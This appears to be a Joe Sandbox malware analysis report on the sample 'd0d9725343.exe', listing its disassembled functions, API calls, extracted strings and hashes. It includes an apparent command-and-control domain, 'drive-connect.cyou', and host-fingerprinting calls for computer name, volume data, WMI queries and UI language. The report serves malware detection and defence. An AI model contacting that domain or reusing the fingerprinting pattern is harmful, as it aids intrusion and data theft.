Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 008b3d7a7ef3e2f49da9e6ce3c851317dd8b570b613e76803d1d0af584396d38
Instruction ID: 40f9523bff42e77d20b49605d6da0cb7a4e5f5c308bd65659232e8c6b6e1499d
Opcode Fuzzy Hash: 008b3d7a7ef3e2f49da9e6ce3c851317dd8b570b613e76803d1d0af584396d38
Instruction Fuzzy Hash: 0BF01C36810225BBCF226F91FC0898A3F66FB487F2F104050FE0985260C63289A0EB94

Function 0022E5C7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0022E5D9
GetCurrentThreadId.KERNEL32 ref: 0022E5E8
GetCurrentProcessId.KERNEL32 ref: 0022E5F1
QueryPerformanceCounter.KERNEL32(?), ref: 0022E5FE

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: ec0f8bae370f097fde38fad3cb74dbc3d6163c678463f77edeeac9e18d8f8055
Instruction ID: ee312b392c0bdd85f112b5f8a5257208007f1f92d65a2d5c7fd06e5d3daff368
Opcode Fuzzy Hash: ec0f8bae370f097fde38fad3cb74dbc3d6163c678463f77edeeac9e18d8f8055
Instruction Fuzzy Hash: ACF0B230C1020DEBCB00DBB4E94999EBBF4FF1C205BA19595E412F7510E730AB448B50

Function 0023A350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0023A251,?,?,00000000,00000000,00000000,?), ref: 0023A375

Strings

RCC, xrefs: 0023A38F
MOC, xrefs: 0023A387

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 0a3009700b88189f75fbd7ef9c7d4ac85e30f749d74b4429c68881ec47d9d87a
Instruction ID: 13d9088983654332702fab67442e9646e2b234b93adcee036108cf3e4b9788b4
Opcode Fuzzy Hash: 0a3009700b88189f75fbd7ef9c7d4ac85e30f749d74b4429c68881ec47d9d87a
Instruction Fuzzy Hash: 09418DB191020AEFCF15DF98CC85AEEBBB6BF08300F1481A8FA4566221D3759960DF51

Function 00239BBC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00239E33

Strings

csm, xrefs: 00239E55
csm, xrefs: 00239EC6

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 4c58dd959ce0ac6030ea90622d90943108f4b535aaae389fe957306d11b644de
Instruction ID: f6889d251fbea1dc4b07d9e76cd03c2ff86d710aecd0bc3a9887e8de06332b45
Opcode Fuzzy Hash: 4c58dd959ce0ac6030ea90622d90943108f4b535aaae389fe957306d11b644de
Instruction Fuzzy Hash: F13194B64302169BCF269F54C8449AA7BA9FF0A315F14815AF99489121C3B3DCF1DF91

Function 00222A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00222A96
__Getctype.LIBCPMT ref: 00222B0A

Strings

ios_base::badbit set, xrefs: 00222A42

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: GetctypeLockitLockit::_std::_
String ID: ios_base::badbit set
API String ID: 2423992667-3882152299
Opcode ID: 7a72ec5557a69cdb97bb58a082309932c59797bfe6bcc8348daf098f338bd6a6
Instruction ID: 1e96ca049d61e6395f136ad5264178447fcaef67c0f3bb80dee1003eaf84ac53
Opcode Fuzzy Hash: 7a72ec5557a69cdb97bb58a082309932c59797bfe6bcc8348daf098f338bd6a6
Instruction Fuzzy Hash: 0531F2B0918384ABE310DF64D85531BBBE4AFE4308F04491CF5884B242E7B6E5A8CBD3

Analysis Process: d0d9725343.exePID: 5564, Parent PID: 2528COMMON

Executed Functions

Function 00431BB0 Relevance: 47.4, APIs: 2, Strings: 25, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00431BF9
GetSystemMetrics.USER32 ref: 00431C09

Strings

="C, xrefs: 00431E09
="C, xrefs: 00431EDA
="C, xrefs: 00431DFE
="C, xrefs: 00431EC4
="C, xrefs: 00431E61
="C, xrefs: 00431E6C
="C, xrefs: 00431E2A
="C, xrefs: 00431DB1
="C, xrefs: 00431EB9
="C, xrefs: 00431DBC
="C, xrefs: 00431DDD
="C, xrefs: 00431EE5
S%C, xrefs: 00431E14
#C, xrefs: 00431D7A
="C, xrefs: 00431E8D
="C, xrefs: 00431E77
='C, xrefs: 00431D9B
, xrefs: 00431CF6
;(C, xrefs: 00431E4B
b(C, xrefs: 00431ECF
="C, xrefs: 00431E98
&)C, xrefs: 00431EAE
="C, xrefs: 00431DD2
="C, xrefs: 00431DA6
="C, xrefs: 00431E1F

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: MetricsSystem
String ID: $&)C$;(C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$='C$S%C$b(C$#C
API String ID: 4116985748-628680385
Opcode ID: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction ID: ea45c71986b2e534ecec44a4126f62931ddcc8577b73b097e58ed3aa899a90b6
Opcode Fuzzy Hash: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction Fuzzy Hash: 41B16FB04097818FE771DF14D48879BBBE0BBC5308F508A2EE5E89B251CBB95448CF86

Function 00436F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00437173
SysAllocString.OLEAUT32(D080DE8F), ref: 004371DB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437218
SysAllocString.OLEAUT32(9F4F9D4B), ref: 00437268
SysAllocString.OLEAUT32(E8D216C6), ref: 0043731A
VariantInit.OLEAUT32(.'()), ref: 00437385
VariantClear.OLEAUT32(.'()), ref: 004374E0
SysFreeString.OLEAUT32(?), ref: 00437504
SysFreeString.OLEAUT32(?), ref: 0043750A
SysFreeString.OLEAUT32(00000000), ref: 00437517
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437552

Strings

>C, xrefs: 004370D7
"#$%, xrefs: 004375FC
.;, xrefs: 00437282
{|, xrefs: 004373BF
.'(), xrefs: 00437008, 004370C1
C, xrefs: 004370CF
{.] , xrefs: 004371A1
p*v,, xrefs: 00437199
!", xrefs: 004371A9

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 2573436264-264043890
Opcode ID: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction ID: 06fb3ad9466451430b31427f45de08a7eb0daa23bec53a4f5f9458ad790f981b
Opcode Fuzzy Hash: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction Fuzzy Hash: D302F0B1A083009FD320CF64CC81B5BBBE5EB99314F14982DF6C59B3A1D679E805CB96

Function 0040E2A9 Relevance: 14.0, APIs: 2, Strings: 7, Instructions: 529
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040E2B5
CoUninitialize.COMBASE ref: 0040E673

Strings

,, xrefs: 0040E688
I~, xrefs: 0040E8E3
drive-connect.cyou, xrefs: 0040E649, 0040E9DD
qx, xrefs: 0040E8EE
"# `, xrefs: 0040E70A
s, xrefs: 0040E736
`~, xrefs: 0040E8CD

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: Uninitialize
String ID: "# `$,$I~$`~$drive-connect.cyou$qx$s
API String ID: 3861434553-1359720996
Opcode ID: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction ID: 550626b1aa1881637dc35d229a9c1637f44e71d1f63aa888f187a22684203b49
Opcode Fuzzy Hash: 1bc8a25b561593e53d2d6339a02d65ee242e64d661e98e766194f6cca9f4be8c
Instruction Fuzzy Hash: 2902B0B010C3D18BD3358F2684A07EBBFE1EF92304F189DADD4DA6B252D679040A8B57

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#R,T, xrefs: 00423647
KM, xrefs: 004237FB
ij, xrefs: 0042397D
VW, xrefs: 004233E5
$^<P, xrefs: 0042363F
]~"p, xrefs: 0042367F

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction ID: 9ed236048ece28067beed024fb633757567cd4a7e3bca11c75bb2a7735f0e68b
Opcode Fuzzy Hash: 83f2170b8c59a65a8a9960c15d95f04e83c213860b07ad3303ead03e3c572ec6
Instruction Fuzzy Hash: D1F1CAB46083509FD310DF65E88262BBBF1EFD5304F44892DE4958B351EB789A06CB4B

Function 0042BFDA Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C0D7
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

#v, xrefs: 0042C0D7
x, xrefs: 0042C2F2

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: x$#v
API String ID: 2243422189-2980105896
Opcode ID: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction ID: f24e0535182122329204161442b6cb3576d9d8656e0dc52521a12abdc108ad65
Opcode Fuzzy Hash: 212c4427347d00bc0ab6c4fd254bb844e7ef8bf1701165750c227f18fd5959f2
Instruction Fuzzy Hash: EFD1B46060C3E08ED7358B2994903BFBBD1AFD7344F5849ADD0C99B282D779450ACB57

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N[\D, xrefs: 0040AD01, 0040ABC5, 0040ACD2, 0040ABA4, 0040ADEE, 0040ACF6, 0040ADC0, 0040ADB7
#xDz, xrefs: 0040AACE
A|}~, xrefs: 0040AAD6
n, xrefs: 0040A982
kl, xrefs: 0040AB2D
'D F, xrefs: 0040AAC6
N[\D, xrefs: 0040AC00

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: b00241246f4d0228e6e25298a947675e85839165aeb9511d476d344b8fc49fad
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 0040CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

F^, xrefs: 0040D0B9
VgfW, xrefs: 0040CF2F
z@(, xrefs: 0040CF5B
drive-connect.cyou, xrefs: 0040D27A
I@, xrefs: 0040D0C4
N~ :, xrefs: 0040CF45
3384FC726411342223D904AF30EFEBBC, xrefs: 0040CEAF

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: 3384FC726411342223D904AF30EFEBBC$F^$I@$N~ :$VgfW$drive-connect.cyou$z@(
API String ID: 0-1303459773
Opcode ID: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction ID: b1d760c26d9b90ec4573806c6615211f8657e28aa76e89aec63d6860f5017e85
Opcode Fuzzy Hash: a8b82ccc30708ca5d3da64cc2461f8570c754c905fc98211d30cc89c72c56c70
Instruction Fuzzy Hash: A191EEB05083C18BD335CF25D8A0BEBBBE0AB96314F148D6DD4DD9B282D738454ACB96

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4cde, xrefs: 0040C79C
){+}, xrefs: 0040C788
GS, xrefs: 0040C677
CJ, xrefs: 0040C67E
F'k), xrefs: 0040C706

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: 6afdb2316fdadaf12e32bd698f1912d34734f08b0bc4a82971b76fff6b28e520
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: 50B11BB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 0042C6D7 Relevance: 5.9, APIs: 1, Strings: 2, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

', xrefs: 0042CC09
iJ, xrefs: 0042CAF5

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: '$iJ
API String ID: 0-30662343
Opcode ID: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction ID: e8033de2897f6a471e39d6e72682695b514e130b01bc458e21cc2d5cc8d806b0
Opcode Fuzzy Hash: 5f8335f824c18f5e14225d200a316fb8f8740858805ddfb73ef0b7ad87012508
Instruction Fuzzy Hash: 7C02F57060C3E18FD7298F2990A03ABBFE1AF97304F58496ED4D997342D77984058B97

Function 0042BFD3 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042C113
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042C1D8

Strings

x, xrefs: 0042C2F2

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction ID: cbfe56490d4610b99627c39bd120223bdbde8b4c29662e55905f397c0fd00549
Opcode Fuzzy Hash: dd7dd52a73c17c107c662ee8ca0c022aa0f15367076f24ecb02be622242e9914
Instruction Fuzzy Hash: 1AD1176060C7E18ED7358B2894903BFBBD1AF97344F5849AED0D54B382D739940AC797

Function 00426170 Relevance: 5.3, Strings: 4, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

YNMZ, xrefs: 00426446
4zVc, xrefs: 0042621C
8zVc, xrefs: 0042627D
cba`, xrefs: 004261C1

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID: 4zVc$8zVc$YNMZ$cba`
API String ID: 2994545307-1799417857
Opcode ID: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction ID: a4538a0261ff6c2ac210d57fc6ac5424e6a326b8b8d8802f404cc31a7d59ec03
Opcode Fuzzy Hash: eaf66d541d549ce35d0b7173bc81318c446716c3833972a3082171e3945cfb6b
Instruction Fuzzy Hash: 189147B2F042208BD724DA25EC8172B7292EBD1314F5A857EEC8597342E678AC00C7DA

Function 00416B7E Relevance: 1.8, APIs: 1, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction ID: 4d3fd89be0cb7aed4be93335616a378edd6ad360b4f2b7dd84c825cf95623c92
Opcode Fuzzy Hash: 890e8e76508b01334db47f64388eac8d659fe5be4548ddbfe270fdd3745dd69d
Instruction Fuzzy Hash: 9BA159B16047418FCB24CF34C891663BBE2FF56314B098A6ED49A8B792E738F845CB55

Function 0043E690 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

@CDE, xrefs: 0043E8D1

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID: @CDE
API String ID: 2994545307-1513065382
Opcode ID: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction ID: 3c5ac0be7424b57116813a4f2293c38aabf5a2246835f37d4781b8179357b19c
Opcode Fuzzy Hash: cbdfbb28d977ac1ea6b7f73f0ada9322f454d3da5a8c62154e5dc83033fd8ee1
Instruction Fuzzy Hash: EFB146717493414BC318DB2AC8D1A3BBBE6ABE9314F1CD93DE58687392C638DC058796

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00417E82 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

tuv, xrefs: 00418856

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: tuv
API String ID: 0-2475268160
Opcode ID: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction ID: 96cc1be5c7b42f4822ccf6fdabcc1d0a1cf8542e79077bfe6f2257edbdd6f4ef
Opcode Fuzzy Hash: 692413315616f7dcebff6ff457f6b3838c60e2c9e7b6f7554dd79316d44026a4
Instruction Fuzzy Hash: 2B6133B6604700CFC7208F24D8923A3B3F2FF96318F18456EE996477A1E739A945C759

Function 0043DBD0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 0043DC39

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction ID: 1421818bc4f15c0d032df179158ed2797c8d4970c2420d5e39c05150b2e3af5d
Opcode Fuzzy Hash: a54cd9664649f0a3eb3b986b2c8d66ddc9897b79c163bf161da4d5756e812fe2
Instruction Fuzzy Hash: C33100B15183048BC314DF18E8C162BBBF8FB9A314F15A92DE68687391D3759908CB9A

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 0043DCF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction ID: 42590aa1c4a3029240d7faad05c1566b36b776a36cf424c854185cc8c2ee326e
Opcode Fuzzy Hash: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction Fuzzy Hash: 58717A31A043014BC714AF29E890A3FB7A6EFDD750F1AD43EE4868B365DB349C11878A

Function 00434BDC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434C09

Strings

t, xrefs: 00434C14

Memory Dump Source

Source File: 0000000B.00000002.3093057838.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_d0d9725343.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: t
API String ID: 95929093-2238339752
Opcode ID: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction ID: 08a8b9a0e37a212ebea7de5d04b95149eac63241ee44ff142c93878423301f38
Opcode Fuzzy Hash: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction Fuzzy Hash: 53F0FF34808298CFDB10DF68D4943EEBBF16F66304F1880ACC08497382D37A9A84CB12

